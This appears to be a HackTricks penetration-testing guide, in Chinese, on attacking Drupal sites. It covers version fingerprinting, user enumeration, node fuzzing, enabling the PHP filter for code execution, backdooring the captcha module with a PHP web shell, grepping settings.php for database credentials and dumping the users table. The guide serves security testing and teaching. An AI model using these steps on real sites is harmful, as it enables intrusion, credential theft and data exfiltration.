8.1 KiB
Drupal
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
其他支持HackTricks的方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
{% embed url="https://websec.nl/" %}
发现
- 检查meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- 节点: Drupal 使用节点索引其内容。一个节点可以包含任何内容,比如博客文章、投票、文章等。页面的URI通常采用形式
/node/<nodeid>
。
curl drupal-site.com/node/1
枚举
Drupal 默认支持三种类型的用户:
管理员
:此用户对Drupal网站拥有完全控制权。已验证用户
:这些用户可以登录网站,并根据其权限执行操作,如添加和编辑文章。匿名用户
:所有网站访问者都被指定为匿名用户。默认情况下,这些用户只能阅读帖子。
版本
- 检查
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Drupal的新安装默认阻止访问CHANGELOG.txt
和README.txt
文件。
{% endhint %}
用户名枚举
注册
在 /user/register 中尝试创建用户名,如果该名称已被使用,将会收到通知:
请求新密码
如果为现有用户名请求新密码:
如果为不存在的用户名请求新密码:
获取用户数量
访问 /user/<number> 您可以查看现有用户的数量,在这种情况下为2,因为 /users/3 返回未找到错误:
隐藏页面
模糊 /node/$
其中 $
是一个数字(例如从1到500)。
您可能会发现隐藏页面(测试、开发),这些页面未被搜索引擎引用。
已安装模块信息
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
自动化
droopescan scan drupal -u http://drupal-site.local
RCE
使用 PHP 过滤器模块
{% hint style="warning" %}
在 Drupal 的旧版本 (8 版本之前) 中,可以登录为管理员并启用 PHP 过滤器
模块,该模块"允许评估嵌入的 PHP 代码/片段"。
{% endhint %}
您需要安装插件 php(访问 /modules/php 进行检查,如果返回 403,则已安装;如果未找到,则插件 php 未安装)
转到 模块 -> (检查) PHP 过滤器 -> 保存配置
然后点击 添加内容 -> 选择 基本页面 或 文章 -> 在正文中编写 php shellcode -> 在 文本格式 中选择 PHP 代码 -> 选择 预览
最后只需访问新创建的节点:
curl http://drupal-site.local/node/3
安装 PHP 过滤器模块
从8版本开始,PHP 过滤器 模块不再默认安装。要使用此功能,我们需要自己安装该模块。
- 从 Drupal 网站下载最新版本的模块。
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- 下载完成后,转到**
管理
** >报告
>可用更新
。 - 点击**
浏览
,选择从我们下载到的目录中的文件,然后点击安装
**。 - 安装完成后,我们可以点击**
内容
,并创建一个新的基本页面**,类似于我们在 Drupal 7 示例中所做的操作。再次确保从**文本格式
下拉菜单中选择PHP 代码
**。
后门模块
可以通过向现有模块添加 shell 来创建后门模块。可以在 drupal.org 网站上找到模块。让我们选择一个模块,如验证码。向下滚动并复制 tar.gz 存档的链接。
- 下载存档并提取其内容。
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- 使用以下内容创建一个 PHP Web Shell:
<?php
system($_GET["cmd"]);
?>
- 接下来,我们需要创建一个**
.htaccess
文件,以便让自己访问该文件夹。这是必要的,因为Drupal拒绝直接访问/modules
**文件夹。
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- 上面的配置将在我们请求/modules文件夹中的文件时应用规则。将这两个文件都复制到captcha文件夹中并创建一个存档。
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- 假设我们拥有对网站的管理访问权限,点击侧边栏上的**
管理
,然后点击扩展
。接下来,点击+ 安装新模块
按钮,我们将被带到安装页面,例如http://drupal-site.local/admin/modules/install
浏览到带后门的验证码存档并点击安装
**。 - 安装成功后,浏览到**
/modules/captcha/shell.php
**以执行命令。
后渗透
读取 settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
从数据库中转储用户
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
参考资料
{% embed url="https://websec.nl/" %}
从零开始学习AWS黑客技术 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。